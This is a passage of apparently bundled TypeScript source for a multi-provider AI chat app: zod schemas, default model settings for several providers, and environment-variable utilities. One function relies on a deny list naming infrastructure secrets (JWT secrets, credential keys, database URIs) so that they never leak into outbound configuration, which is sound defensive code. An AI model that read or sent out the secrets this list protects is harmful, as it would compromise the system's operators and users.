low = 'low',\n medium = 'medium',\n high = 'high',\n}\n\nexport const imageDetailNumeric = {\n [ImageDetail.low]: 0,\n [ImageDetail.auto]: 1,\n [ImageDetail.high]: 2,\n};\n\nexport const imageDetailValue = {\n 0: ImageDetail.low,\n 1: ImageDetail.auto,\n 2: ImageDetail.high,\n};\n\nexport const eImageDetailSchema = z.nativeEnum(ImageDetail);\nexport const eReasoningEffortSchema = z.nativeEnum(ReasoningEffort);\nexport const eAnthropicEffortSchema = z.nativeEnum(AnthropicEffort);\nexport const eReasoningSummarySchema = z.nativeEnum(ReasoningSummary);\nexport const eVerbositySchema = z.nativeEnum(Verbosity);\nexport const eThinkingLevelSchema = z.nativeEnum(ThinkingLevel);\n\nexport const defaultAssistantFormValues = {\n assistant: '',\n id: '',\n name: '',\n description: '',\n instructions: '',\n conversation_starters: [],\n model: '',\n functions: [],\n code_interpreter: false,\n image_vision: false,\n retrieval: false,\n append_current_datetime: false,\n};\n\nexport const defaultAgentFormValues = {\n agent: {},\n id: '',\n name: '',\n description: '',\n instructions: '',\n model: '',\n model_parameters: {},\n tools: [],\n tool_options: {},\n provider: {},\n edges: [],\n artifacts: '',\n recursion_limit: undefined,\n [Tools.execute_code]: false,\n [Tools.file_search]: false,\n [Tools.web_search]: false,\n category: 'general',\n support_contact: {\n name: '',\n email: '',\n },\n};\n\nexport const ImageVisionTool: FunctionTool = {\n type: Tools.function,\n [Tools.function]: {\n name: 'image_vision',\n description: 'Get detailed text descriptions for all current image attachments.',\n parameters: {\n type: 'object',\n properties: {},\n required: [],\n },\n },\n};\n\nexport const isImageVisionTool = (tool: FunctionTool | FunctionToolCall) =>\n tool.type === 'function' && tool.function?.name === ImageVisionTool.function?.name;\n\nexport const openAISettings = {\n model: {\n default: 'gpt-4o-mini' as const,\n },\n temperature: {\n min: 0 as const,\n max: 2 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n top_p: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n presence_penalty: {\n min: -2 as const,\n max: 2 as const,\n step: 0.01 as const,\n default: 0 as const,\n },\n frequency_penalty: {\n min: -2 as const,\n max: 2 as const,\n step: 0.01 as const,\n default: 0 as const,\n },\n resendFiles: {\n default: true as const,\n },\n maxContextTokens: {\n default: undefined,\n },\n max_tokens: {\n default: undefined,\n },\n imageDetail: {\n default: ImageDetail.auto as const,\n min: 0 as const,\n max: 2 as const,\n step: 1 as const,\n },\n};\n\nexport const googleSettings = {\n model: {\n default: 'gemini-1.5-flash-latest' as const,\n },\n maxOutputTokens: {\n min: 1 as const,\n max: 64000 as const,\n step: 1 as const,\n default: 8192 as const,\n },\n temperature: {\n min: 0 as const,\n max: 2 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n topP: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 0.95 as const,\n },\n topK: {\n min: 1 as const,\n max: 40 as const,\n step: 1 as const,\n default: 40 as const,\n },\n thinking: {\n default: true as const,\n },\n thinkingBudget: {\n min: -1 as const,\n max: 32000 as const,\n step: 1 as const,\n /** `-1` = Dynamic Thinking, meaning the model will adjust\n * the budget based on the complexity of the request.\n */\n default: -1 as const,\n },\n thinkingLevel: {\n default: ThinkingLevel.unset as const,\n },\n};\n\nconst ANTHROPIC_MAX_OUTPUT = 128000 as const;\nconst CLAUDE_4_64K_MAX_OUTPUT = 64000 as const;\nconst CLAUDE_32K_MAX_OUTPUT = 32000 as const;\nconst DEFAULT_MAX_OUTPUT = 8192 as const;\nconst LEGACY_ANTHROPIC_MAX_OUTPUT = 4096 as const;\nexport const anthropicSettings = {\n model: {\n default: 'claude-3-5-sonnet-latest' as const,\n },\n temperature: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n promptCache: {\n default: true as const,\n },\n thinking: {\n default: true as const,\n },\n thinkingBudget: {\n min: 1024 as const,\n step: 100 as const,\n max: 200000 as const,\n default: 2000 as const,\n },\n maxOutputTokens: {\n min: 1 as const,\n max: ANTHROPIC_MAX_OUTPUT,\n step: 1 as const,\n default: DEFAULT_MAX_OUTPUT,\n reset: (modelName: string) => {\n if (/claude-opus[-.]?(?:4[-.]?(?:[6-9]|\\d{2,})|[5-9]|\\d{2,})/.test(modelName)) {\n return ANTHROPIC_MAX_OUTPUT;\n }\n\n if (/claude-(?:sonnet|haiku)[-.]?[4-9]/.test(modelName)) {\n return CLAUDE_4_64K_MAX_OUTPUT;\n }\n\n if (/claude-opus[-.]?(?:[5-9]|4[-.]?([5-9]|\\d{2,}))/.test(modelName)) {\n return CLAUDE_4_64K_MAX_OUTPUT;\n }\n\n if (/claude-opus[-.]?[4-9]/.test(modelName)) {\n return CLAUDE_32K_MAX_OUTPUT;\n }\n\n return DEFAULT_MAX_OUTPUT;\n },\n set: (value: number, modelName: string) => {\n if (/claude-opus[-.]?(?:4[-.]?(?:[6-9]|\\d{2,})|[5-9]|\\d{2,})/.test(modelName)) {\n if (value > ANTHROPIC_MAX_OUTPUT) {\n return ANTHROPIC_MAX_OUTPUT;\n }\n return value;\n }\n\n if (/claude-(?:sonnet|haiku)[-.]?[4-9]/.test(modelName) && value > CLAUDE_4_64K_MAX_OUTPUT) {\n return CLAUDE_4_64K_MAX_OUTPUT;\n }\n\n if (/claude-opus[-.]?(?:[5-9]|4[-.]?([5-9]|\\d{2,}))/.test(modelName)) {\n if (value > CLAUDE_4_64K_MAX_OUTPUT) {\n return CLAUDE_4_64K_MAX_OUTPUT;\n }\n return value;\n }\n\n if (/claude-opus[-.]?[4-9]/.test(modelName) && value > CLAUDE_32K_MAX_OUTPUT) {\n return CLAUDE_32K_MAX_OUTPUT;\n }\n\n if (value > ANTHROPIC_MAX_OUTPUT) {\n return ANTHROPIC_MAX_OUTPUT;\n }\n\n return value;\n },\n },\n topP: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 0.7 as const,\n },\n topK: {\n min: 1 as const,\n max: 40 as const,\n step: 1 as const,\n default: 5 as const,\n },\n resendFiles: {\n default: true as const,\n },\n maxContextTokens: {\n default: undefined,\n },\n legacy: {\n maxOutputTokens: {\n min: 1 as const,\n max: LEGACY_ANTHROPIC_MAX_OUTPUT,\n step: 1 as const,\n default: LEGACY_ANTHROPIC_MAX_OUTPUT,\n },\n },\n effort: {\n default: AnthropicEffort.unset,\n options: [\n AnthropicEffort.unset,\n AnthropicEffort.low,\n AnthropicEffort.medium,\n AnthropicEffort.high,\n AnthropicEffort.max,\n ],\n },\n web_search: {\n default: false as const,\n },\n};\n\nexport const agentsSettings = {\n model: {\n default: 'gpt-3.5-turbo-test' as const,\n },\n temperature: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n top_p: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n presence_penalty: {\n min: -2 as const,\n max: 2 as const,\n step: 0.01 as const,\n default: 0 as const,\n },\n frequency_penalty: {\n min: -2 as const,\n max: 2 as const,\n step: 0.01 as const,\n default: 0 as const,\n },\n resendFiles: {\n default: true as const,\n },\n maxContextTokens: {\n default: undefined,\n },\n max_tokens: {\n default: undefined,\n },\n imageDetail: {\n default: ImageDetail.auto as const,\n },\n};\n\nexport const endpointSettings = {\n [EModelEndpoint.openAI]: openAISettings,\n [EModelEndpoint.google]: googleSettings,\n [EModelEndpoint.anthropic]: anthropicSettings,\n [EModelEndpoint.agents]: agentsSettings,\n [EModelEndpoint.bedrock]: agentsSettings,\n};\n\nconst google = endpointSettings[EModelEndpoint.google];\n\nexport const eModelEndpointSchema = z.nativeEnum(EModelEndpoint);\n\nexport const extendedModelEndpointSchema = z.union([eModelEndpointSchema, z.string()]);\n\nexport const tPluginAuthConfigSchema = z.object({\n authField: z.string(),\n label: z.string(),\n description: z.string(),\n optional: z.boolean().optional(),\n});\n\nexport type TPluginAuthConfig = z.infer<typeof tPluginAuthConfigSchema>;\n\nexport const tPluginSchema = z.object({\n name: z.string(),\n pluginKey: z.string(),\n description: z.string().optional(),\n icon: z.string().optional(),\n authConfig: z.array(tPluginAuthConfigSchema).optional(),\n authenticated: z.boolean().optional(),\n chatMenu: z.boolean().optional(),\n isButton: z.boolean().optional(),\n toolkit: z.boolean().optional(),\n});\n\nexport type TPlugin = z.infer<typeof tPluginSchema>;\n\nexport type TInput = {\n inputStr: string;\n};\n\nexport const tExampleSchema = z.object({\n input: z.object({\n content: z.string(),\n }),\n output: z.object({\n content: z.string(),\n }),\n});\n\nexport type TExample = z.infer<typeof tExampleSchema>;\n\nexport const tMessageSchema = z.object({\n messageId: z.string(),\n endpoint: z.string().optional(),\n clientId: z.string().nullable().optional(),\n conversationId: z.string().nullable(),\n parentMessageId: z.string().nullable(),\n responseMessageId: z.string().nullable().optional(),\n overrideParentMessageId: z.string().nullable().optional(),\n bg: z.string().nullable().optional(),\n model: z.string().nullable().optional(),\n title: z.string().nullable().or(z.literal('New Chat')).default('New Chat'),\n sender: z.string().optional(),\n text: z.string(),\n /** @deprecated */\n generation: z.string().nullable().optional(),\n isCreatedByUser: z.boolean(),\n error: z.boolean().optional(),\n clientTimestamp: z.string().optional(),\n createdAt: z\n .string()\n .optional()\n .default(() => new Date().toISOString()),\n updatedAt: z\n .string()\n .optional()\n .default(() => new Date().toISOString()),\n current: z.boolean().optional(),\n unfinished: z.boolean().optional(),\n searchResult: z.boolean().optional(),\n finish_reason: z.string().optional(),\n /* assistant */\n thread_id: z.string().optional(),\n /* frontend components */\n iconURL: z.string().nullable().optional(),\n feedback: feedbackSchema.optional(),\n /** metadata */\n metadata: z.record(z.unknown()).optional(),\n contextMeta: z\n .object({\n calibrationRatio: z\n .number()\n .optional()\n .describe('EMA ratio of provider-reported vs local token estimates; seeds the pruner on subsequent runs'),\n encoding: z\n .string()\n .optional()\n .describe('Tokenizer encoding used when this ratio was computed (e.g. \"claude\", \"o200k_base\")'),\n })\n .optional(),\n});\n\nexport type MemoryArtifact = {\n key: string;\n value?: string;\n tokenCount?: number;\n type: 'update' | 'delete' | 'error';\n};\n\nexport type UIResource = {\n resourceId: string;\n uri: string;\n mimeType?: string;\n text?: string;\n [key: string]: unknown;\n};\n\nexport type TAttachmentMetadata = {\n type?: Tools;\n messageId: string;\n toolCallId: string;\n [Tools.memory]?: MemoryArtifact;\n [Tools.ui_resources]?: UIResource[];\n [Tools.web_search]?: SearchResultData;\n [Tools.file_search]?: SearchResultData;\n};\n\nexport type TAttachment =\n | (TFile & TAttachmentMetadata)\n | (Pick<TFile, 'filename' | 'filepath' | 'conversationId'> & {\n expiresAt: number;\n } & TAttachmentMetadata)\n | (Partial<Pick<TFile, 'filename' | 'filepath'>> &\n Pick<TFile, 'conversationId'> &\n TAttachmentMetadata);\n\nexport type TMessage = z.input<typeof tMessageSchema> & {\n children?: TMessage[];\n content?: TMessageContentParts[];\n files?: Partial<TFile>[];\n depth?: number;\n siblingIndex?: number;\n attachments?: TAttachment[];\n clientTimestamp?: string;\n feedback?: TFeedback;\n};\n\nexport const coerceNumber = z.union([z.number(), z.string()]).transform((val) => {\n if (typeof val === 'string') {\n return val.trim() === '' ? undefined : parseFloat(val);\n }\n return val;\n});\n\ntype DocumentTypeValue =\n | null\n | boolean\n | number\n | string\n | DocumentTypeValue[]\n | { [key: string]: DocumentTypeValue };\n\nconst DocumentType: z.ZodType<DocumentTypeValue> = z.lazy(() =>\n z.union([\n z.null(),\n z.boolean(),\n z.number(),\n z.string(),\n z.array(z.lazy(() => DocumentType)),\n z.record(z.lazy(() => DocumentType)),\n ]),\n);\n\nexport const tConversationSchema = z.object({\n conversationId: z.string().nullable(),\n endpoint: eModelEndpointSchema.nullable(),\n endpointType: eModelEndpointSchema.nullable().optional(),\n isArchived: z.boolean().optional(),\n title: z.string().nullable().or(z.literal('New Chat')).default('New Chat'),\n user: z.string().optional(),\n messages: z.array(z.string()).optional(),\n tools: z.union([z.array(tPluginSchema), z.array(z.string())]).optional(),\n modelLabel: z.string().nullable().optional(),\n userLabel: z.string().optional(),\n model: z.string().nullable().optional(),\n promptPrefix: z.string().nullable().optional(),\n temperature: z.number().nullable().optional(),\n topP: z.number().optional(),\n topK: z.number().optional(),\n top_p: z.number().optional(),\n frequency_penalty: z.number().optional(),\n presence_penalty: z.number().optional(),\n parentMessageId: z.string().optional(),\n maxOutputTokens: coerceNumber.nullable().optional(),\n maxContextTokens: coerceNumber.optional(),\n max_tokens: coerceNumber.optional(),\n /* Anthropic */\n promptCache: z.boolean().optional(),\n system: z.string().optional(),\n thinking: z.boolean().optional(),\n thinkingBudget: coerceNumber.optional(),\n thinkingLevel: eThinkingLevelSchema.optional(),\n stream: z.boolean().optional(),\n /* artifacts */\n artifacts: z.string().optional(),\n /* google */\n context: z.string().nullable().optional(),\n examples: z.array(tExampleSchema).optional(),\n /* DB */\n tags: z.array(z.string()).optional(),\n createdAt: z.string(),\n updatedAt: z.string(),\n /* Files */\n resendFiles: z.boolean().optional(),\n file_ids: z.array(z.string()).optional(),\n /* vision */\n imageDetail: eImageDetailSchema.optional(),\n /* OpenAI: Reasoning models only */\n reasoning_effort: eReasoningEffortSchema.optional().nullable(),\n reasoning_summary: eReasoningSummarySchema.optional().nullable(),\n /* OpenAI: Verbosity control */\n verbosity: eVerbositySchema.optional().nullable(),\n /* OpenAI: use Responses API */\n useResponsesApi: z.boolean().optional(),\n /* Anthropic: Effort control */\n effort: eAnthropicEffortSchema.optional().nullable(),\n /* OpenAI Responses API / Anthropic API / Google API */\n web_search: z.boolean().optional(),\n /* disable streaming */\n disableStreaming: z.boolean().optional(),\n /* assistant */\n assistant_id: z.string().optional(),\n /* agents */\n agent_id: z.string().optional(),\n /* AWS Bedrock */\n region: z.string().optional(),\n maxTokens: coerceNumber.optional(),\n additionalModelRequestFields: DocumentType.optional(),\n /* assistants */\n instructions: z.string().optional(),\n additional_instructions: z.string().optional(),\n append_current_datetime: z.boolean().optional(),\n /** Used to overwrite active conversation settings when saving a Preset */\n presetOverride: z.record(z.unknown()).optional(),\n stop: z.array(z.string()).optional(),\n /* frontend components */\n greeting: z.string().optional(),\n spec: z.string().nullable().optional(),\n iconURL: z.string().nullable().optional(),\n /* temporary chat */\n expiredAt: z.string().nullable().optional(),\n /* file token limits */\n fileTokenLimit: coerceNumber.optional(),\n /** @deprecated */\n resendImages: z.boolean().optional(),\n /** @deprecated Prefer `modelLabel` over `chatGptLabel` */\n chatGptLabel: z.string().nullable().optional(),\n});\n\nexport const tPresetSchema = tConversationSchema\n .omit({\n conversationId: true,\n createdAt: true,\n updatedAt: true,\n title: true,\n })\n .merge(\n z.object({\n conversationId: z.string().nullable().optional(),\n presetId: z.string().nullable().optional(),\n title: z.string().nullable().optional(),\n defaultPreset: z.boolean().optional(),\n order: z.number().optional(),\n endpoint: extendedModelEndpointSchema.nullable(),\n }),\n );\n\nexport const tConvoUpdateSchema = tConversationSchema.merge(\n z.object({\n endpoint: extendedModelEndpointSchema.nullable(),\n createdAt: z.string().optional(),\n updatedAt: z.string().optional(),\n }),\n);\n\nexport const tQueryParamsSchema = tConversationSchema\n .pick({\n // librechat settings\n /** The model spec to be used */\n spec: true,\n /** The AI context window, overrides the system-defined window as determined by `model` value */\n maxContextTokens: true,\n /**\n * Whether or not to re-submit files from previous messages on subsequent messages\n * */\n resendFiles: true,\n /**\n * @endpoints openAI, custom, azureOpenAI\n *\n * System parameter that only affects the above endpoints.\n * Image detail for re-sizing according to OpenAI spec, defaults to `auto`\n * */\n imageDetail: true,\n /**\n * AKA Custom Instructions, dynamically added to chat history as a system message;\n * for `bedrock` endpoint, this is used as the `system` model param if the provider uses it;\n * for `assistants` endpoint, this is used as the `additional_instructions` model param:\n * https://platform.openai.com/docs/api-reference/runs/createRun#runs-createrun-additional_instructions\n * ; otherwise, a message with `system` role is added to the chat history\n */\n promptPrefix: true,\n // Model parameters\n /** @endpoints openAI, custom, azureOpenAI, google, anthropic, assistants, azureAssistants, bedrock */\n model: true,\n /** @endpoints openAI, custom, azureOpenAI, google, anthropic, bedrock */\n temperature: true,\n /** @endpoints openAI, custom, azureOpenAI */\n presence_penalty: true,\n /** @endpoints openAI, custom, azureOpenAI */\n frequency_penalty: true,\n /** @endpoints openAI, custom, azureOpenAI */\n stop: true,\n /** @endpoints openAI, custom, azureOpenAI */\n top_p: true,\n /** @endpoints openAI, custom, azureOpenAI */\n max_tokens: true,\n /** @endpoints openAI, custom, azureOpenAI */\n reasoning_effort: true,\n /** @endpoints openAI, custom, azureOpenAI */\n reasoning_summary: true,\n /** @endpoints openAI, custom, azureOpenAI */\n verbosity: true,\n /** @endpoints openAI, custom, azureOpenAI */\n useResponsesApi: true,\n /** @endpoints openAI, anthropic, google */\n web_search: true,\n /** @endpoints openAI, custom, azureOpenAI */\n disableStreaming: true,\n /** @endpoints google, anthropic, bedrock */\n topP: true,\n /** @endpoints google, anthropic */\n topK: true,\n /** @endpoints google, anthropic */\n maxOutputTokens: true,\n /** @endpoints anthropic */\n promptCache: true,\n thinking: true,\n thinkingBudget: true,\n thinkingLevel: true,\n effort: true,\n /** @endpoints bedrock */\n region: true,\n /** @endpoints bedrock */\n maxTokens: true,\n /** @endpoints agents */\n agent_id: true,\n /** @endpoints assistants, azureAssistants */\n assistant_id: true,\n /** @endpoints assistants, azureAssistants */\n append_current_datetime: true,\n /**\n * @endpoints assistants, azureAssistants\n *\n * Overrides existing assistant instructions, only used for the current run:\n * https://platform.openai.com/docs/api-reference/runs/createRun#runs-createrun-instructions\n * */\n instructions: true,\n /** @endpoints openAI, google, anthropic */\n fileTokenLimit: true,\n })\n .merge(\n z.object({\n /** @endpoints openAI, custom, azureOpenAI, google, anthropic, assistants, azureAssistants, bedrock, agents */\n endpoint: extendedModelEndpointSchema.nullable(),\n }),\n );\n\nexport type TPreset = z.infer<typeof tPresetSchema>;\n\nexport type TSetOption = (\n param: number | string,\n) => (newValue: number | string | boolean | string[] | Partial<TPreset>) => void;\n\nexport type TConversation = z.infer<typeof tConversationSchema> & {\n presetOverride?: Partial<TPreset>;\n disableParams?: boolean;\n};\n\nexport const tSharedLinkSchema = z.object({\n conversationId: z.string(),\n shareId: z.string(),\n messages: z.array(z.string()),\n isPublic: z.boolean(),\n title: z.string(),\n createdAt: z.string(),\n updatedAt: z.string(),\n});\n\nexport type TSharedLink = z.infer<typeof tSharedLinkSchema>;\n\nexport const tConversationTagSchema = z.object({\n _id: z.string(),\n user: z.string(),\n tag: z.string(),\n description: z.string().optional(),\n createdAt: z.string(),\n updatedAt: z.string(),\n count: z.number(),\n position: z.number(),\n});\nexport type TConversationTag = z.infer<typeof tConversationTagSchema>;\n\nexport const googleBaseSchema = tConversationSchema.pick({\n model: true,\n modelLabel: true,\n promptPrefix: true,\n examples: true,\n temperature: true,\n maxOutputTokens: true,\n artifacts: true,\n topP: true,\n topK: true,\n thinking: true,\n thinkingBudget: true,\n thinkingLevel: true,\n web_search: true,\n fileTokenLimit: true,\n iconURL: true,\n greeting: true,\n spec: true,\n maxContextTokens: true,\n});\n\nexport const googleSchema = googleBaseSchema\n .transform((obj: Partial<TConversation>) => removeNullishValues(obj, true))\n .catch(() => ({}));\n\n/**\n * TODO: Map the following fields:\n - presence_penalty -> presencePenalty\n - frequency_penalty -> frequencyPenalty\n - stop -> stopSequences\n */\nexport const googleGenConfigSchema = z\n .object({\n maxOutputTokens: coerceNumber.optional(),\n temperature: coerceNumber.optional(),\n topP: coerceNumber.optional(),\n topK: coerceNumber.optional(),\n presencePenalty: coerceNumber.optional(),\n frequencyPenalty: coerceNumber.optional(),\n stopSequences: z.array(z.string()).optional(),\n thinkingConfig: z\n .object({\n includeThoughts: z.boolean().optional(),\n thinkingBudget: coerceNumber.optional(),\n thinkingLevel: z.string().optional(),\n })\n .optional(),\n web_search: z.boolean().optional(),\n })\n .strip()\n .optional();\n\nexport function removeNullishValues<T extends Record<string, unknown>>(\n obj: T,\n removeEmptyStrings?: boolean,\n): Partial<T> {\n const newObj: Partial<T> = { ...obj };\n\n (Object.keys(newObj) as Array<keyof T>).forEach((key) => {\n const value = newObj[key];\n if (value === undefined || value === null) {\n delete newObj[key];\n }\n if (removeEmptyStrings && typeof value === 'string' && value === '') {\n delete newObj[key];\n }\n });\n\n return newObj;\n}\n\nconst assistantBaseSchema = tConversationSchema.pick({\n model: true,\n assistant_id: true,\n instructions: true,\n artifacts: true,\n promptPrefix: true,\n iconURL: true,\n greeting: true,\n spec: true,\n append_current_datetime: true,\n});\n\nexport const assistantSchema = assistantBaseSchema\n .transform((obj) => ({\n ...obj,\n model: obj.model ?? openAISettings.model.default,\n assistant_id: obj.assistant_id ?? undefined,\n instructions: obj.instructions ?? undefined,\n promptPrefix: obj.promptPrefix ?? null,\n iconURL: obj.iconURL ?? undefined,\n greeting: obj.greeting ?? undefined,\n spec: obj.spec ?? undefined,\n append_current_datetime: obj.append_current_datetime ?? false,\n }))\n .catch(() => ({\n model: openAISettings.model.default,\n assistant_id: undefined,\n instructions: undefined,\n promptPrefix: null,\n iconURL: undefined,\n greeting: undefined,\n spec: undefined,\n append_current_datetime: false,\n }));\n\nconst compactAssistantBaseSchema = tConversationSchema.pick({\n model: true,\n assistant_id: true,\n instructions: true,\n promptPrefix: true,\n artifacts: true,\n iconURL: true,\n greeting: true,\n spec: true,\n});\n\nexport const compactAssistantSchema = compactAssistantBaseSchema\n .transform((obj) => removeNullishValues(obj))\n .catch(() => ({}));\n\nexport const agentsBaseSchema = tConversationSchema.pick({\n model: true,\n modelLabel: true,\n temperature: true,\n top_p: true,\n presence_penalty: true,\n frequency_penalty: true,\n resendFiles: true,\n imageDetail: true,\n agent_id: true,\n instructions: true,\n promptPrefix: true,\n iconURL: true,\n greeting: true,\n maxContextTokens: true,\n});\n\nexport const agentsSchema = agentsBaseSchema\n .transform((obj) => ({\n ...obj,\n model: obj.model ?? agentsSettings.model.default,\n modelLabel: obj.modelLabel ?? null,\n temperature: obj.temperature ?? 1,\n top_p: obj.top_p ?? 1,\n presence_penalty: obj.presence_penalty ?? 0,\n frequency_penalty: obj.frequency_penalty ?? 0,\n resendFiles:\n typeof obj.resendFiles === 'boolean' ? obj.resendFiles : agentsSettings.resendFiles.default,\n imageDetail: obj.imageDetail ?? ImageDetail.auto,\n agent_id: obj.agent_id ?? undefined,\n instructions: obj.instructions ?? undefined,\n promptPrefix: obj.promptPrefix ?? null,\n iconURL: obj.iconURL ?? undefined,\n greeting: obj.greeting ?? undefined,\n maxContextTokens: obj.maxContextTokens ?? undefined,\n }))\n .catch(() => ({\n model: agentsSettings.model.default,\n modelLabel: null,\n temperature: 1,\n top_p: 1,\n presence_penalty: 0,\n frequency_penalty: 0,\n resendFiles: agentsSettings.resendFiles.default,\n imageDetail: ImageDetail.auto,\n agent_id: undefined,\n instructions: undefined,\n promptPrefix: null,\n iconURL: undefined,\n greeting: undefined,\n maxContextTokens: undefined,\n }));\n\nexport const openAIBaseSchema = tConversationSchema.pick({\n model: true,\n modelLabel: true,\n chatGptLabel: true,\n promptPrefix: true,\n temperature: true,\n top_p: true,\n presence_penalty: true,\n frequency_penalty: true,\n resendFiles: true,\n artifacts: true,\n imageDetail: true,\n stop: true,\n iconURL: true,\n greeting: true,\n spec: true,\n maxContextTokens: true,\n max_tokens: true,\n reasoning_effort: true,\n reasoning_summary: true,\n verbosity: true,\n useResponsesApi: true,\n web_search: true,\n disableStreaming: true,\n fileTokenLimit: true,\n});\n\nexport const openAISchema = openAIBaseSchema\n .transform((obj: Partial<TConversation>) => removeNullishValues(obj, true))\n .catch(() => ({}));\n\nexport const compactGoogleSchema = googleBaseSchema\n .transform((obj) => {\n const newObj: Partial<TConversation> = { ...obj };\n if (newObj.temperature === google.temperature.default) {\n delete newObj.temperature;\n }\n if (newObj.maxOutputTokens === google.maxOutputTokens.default) {\n delete newObj.maxOutputTokens;\n }\n if (newObj.topP === google.topP.default) {\n delete newObj.topP;\n }\n if (newObj.topK === google.topK.default) {\n delete newObj.topK;\n }\n\n return removeNullishValues(newObj, true);\n })\n .catch(() => ({}));\n\nexport const anthropicBaseSchema = tConversationSchema.pick({\n model: true,\n modelLabel: true,\n promptPrefix: true,\n temperature: true,\n maxOutputTokens: true,\n topP: true,\n topK: true,\n resendFiles: true,\n promptCache: true,\n thinking: true,\n thinkingBudget: true,\n effort: true,\n artifacts: true,\n iconURL: true,\n greeting: true,\n spec: true,\n maxContextTokens: true,\n web_search: true,\n fileTokenLimit: true,\n stop: true,\n stream: true,\n});\n\nexport const anthropicSchema = anthropicBaseSchema\n .transform((obj) => removeNullishValues(obj))\n .catch(() => ({}));\n\nexport const tBannerSchema = z.object({\n bannerId: z.string(),\n message: z.string(),\n displayFrom: z.string(),\n displayTo: z.string(),\n createdAt: z.string(),\n updatedAt: z.string(),\n isPublic: z.boolean(),\n persistable: z.boolean().default(false),\n});\nexport type TBanner = z.infer<typeof tBannerSchema>;\n\nexport const compactAgentsBaseSchema = tConversationSchema.pick({\n spec: true,\n // model: true,\n iconURL: true,\n greeting: true,\n agent_id: true,\n instructions: true,\n additional_instructions: true,\n});\n\nexport const compactAgentsSchema = compactAgentsBaseSchema\n .transform((obj) => removeNullishValues(obj))\n .catch(() => ({}));\n","import { z } from 'zod';\nimport type { TPreset } from './schemas';\nimport {\n EModelEndpoint,\n tPresetSchema,\n eModelEndpointSchema,\n AuthType,\n authTypeSchema,\n} from './schemas';\n\nexport type TModelSpec = {\n name: string;\n label: string;\n preset: TPreset;\n order?: number;\n default?: boolean;\n description?: string;\n /**\n * Optional group name for organizing specs in the UI selector.\n * - If it matches an endpoint name (e.g., \"openAI\", \"groq\"), the spec appears nested under that endpoint\n * - If it's a custom name (doesn't match any endpoint), it creates a separate collapsible group\n * - If omitted, the spec appears as a standalone item at the top level\n */\n group?: string;\n /**\n * Optional icon URL for the group this spec belongs to.\n * Only needs to be set on one spec per group - the first one found with a groupIcon will be used.\n * Can be a URL or an endpoint name to use its icon.\n */\n groupIcon?: string | EModelEndpoint;\n showIconInMenu?: boolean;\n showIconInHeader?: boolean;\n iconURL?: string | EModelEndpoint; // Allow using project-included icons\n authType?: AuthType;\n webSearch?: boolean;\n fileSearch?: boolean;\n executeCode?: boolean;\n artifacts?: string | boolean;\n mcpServers?: string[];\n};\n\nexport const tModelSpecSchema = z.object({\n name: z.string(),\n label: z.string(),\n preset: tPresetSchema,\n order: z.number().optional(),\n default: z.boolean().optional(),\n description: z.string().optional(),\n group: z.string().optional(),\n groupIcon: z.union([z.string(), eModelEndpointSchema]).optional(),\n showIconInMenu: z.boolean().optional(),\n showIconInHeader: z.boolean().optional(),\n iconURL: z.union([z.string(), eModelEndpointSchema]).optional(),\n authType: authTypeSchema.optional(),\n webSearch: z.boolean().optional(),\n fileSearch: z.boolean().optional(),\n executeCode: z.boolean().optional(),\n artifacts: z.union([z.string(), z.boolean()]).optional(),\n mcpServers: z.array(z.string()).optional(),\n});\n\nexport const specsConfigSchema = z.object({\n enforce: z.boolean().default(false),\n prioritize: z.boolean().default(true),\n list: z.array(tModelSpecSchema).min(1),\n addedEndpoints: z.array(z.union([z.string(), eModelEndpointSchema])).optional(),\n});\n\nexport type TSpecsConfig = z.infer<typeof specsConfigSchema>;\n","export const envVarRegex = /^\\${(.+)}$/;\n\n/**\n * Infrastructure env vars that must never be resolved via placeholder expansion.\n * These are internal secrets whose exposure would compromise the system —\n * they have no legitimate reason to appear in outbound headers, MCP env/args, or OAuth config.\n *\n * Intentionally excludes API keys (operators reference them in config) and\n * OAuth/session secrets (referenced in MCP OAuth config via processMCPEnv).\n */\nconst SENSITIVE_ENV_VARS = new Set([\n 'JWT_SECRET',\n 'JWT_REFRESH_SECRET',\n 'CREDS_KEY',\n 'CREDS_IV',\n 'MEILI_MASTER_KEY',\n 'MONGO_URI',\n 'REDIS_URI',\n 'REDIS_PASSWORD',\n]);\n\n/** Returns true when `varName` refers to an infrastructure secret that must not leak. */\nexport function isSensitiveEnvVar(varName: string): boolean {\n return SENSITIVE_ENV_VARS.has(varName);\n}\n\n/** Extracts the environment variable name from a template literal string */\nexport function extractVariableName(value: string): string | null {\n if (!value) {\n return null;\n }\n\n const match = value.trim().match(envVarRegex);\n return match ? match[1] : null;\n}\n\n/** Extracts the value of an environment variable from a string. */\nexport function extractEnvVariable(value: string) {\n if (!value) {\n return value;\n }\n\n const trimmed = value.trim();\n\n const singleMatch = trimmed.match(envVarRegex);\n if (singleMatch) {\n const varName = singleMatch[1];\n if (isSensitiveEnvVar(varName)) {\n return trimmed;\n }\n return process.env[varName] || trimmed;\n }\n\n const regex = /\\${([^}]+)}/g;\n let result = trimmed;\n\n const matches = [];\n let match;\n while ((match = regex.exec(trimmed)) !== null) {\n matches.push({\n fullMatch: match[0],\n varName: match[1],\n index: match.index,\n });\n }\n\n for (let i = matches.length - 1; i >= 0; i--) {\n const { fullMatch, varName, index } = matches[i];\n if (isSensitiveEnvVar(varName)) {\n continue;\n }\n const envValue = process.env[varName] || fullMatch;\n result = result.substring(0, index) + envValue + result.substring(index + fullMatch.length);\n }\n\n return result;\n}\n\n/**\n * Normalize the endpoint name to system-expected value.\n * @param name\n */\nexport function normalizeEndpointName(name = ''): string {\n return name.toLowerCase() === 'ollama' ? 'ollama' : name;\n}\n","import { z } from 'zod';\nimport type { EndpointFileConfig, FileConfig } from './types/files';\nimport { EModelEndpoint, isAgentsEndpoint, isDocumentSupportedProvider } from './schemas';\nimport { normalizeEndpointName } from './utils';\n\nexport const supportsFiles = {\n [EModelEndpoint.openAI]: true,\n [EModelEndpoint.google]: true,\n [EModelEndpoint.assistants]: true,\n [EModelEndpoint.azureAssistants]: true,\n [EModelEndpoint.agents]: true,\n 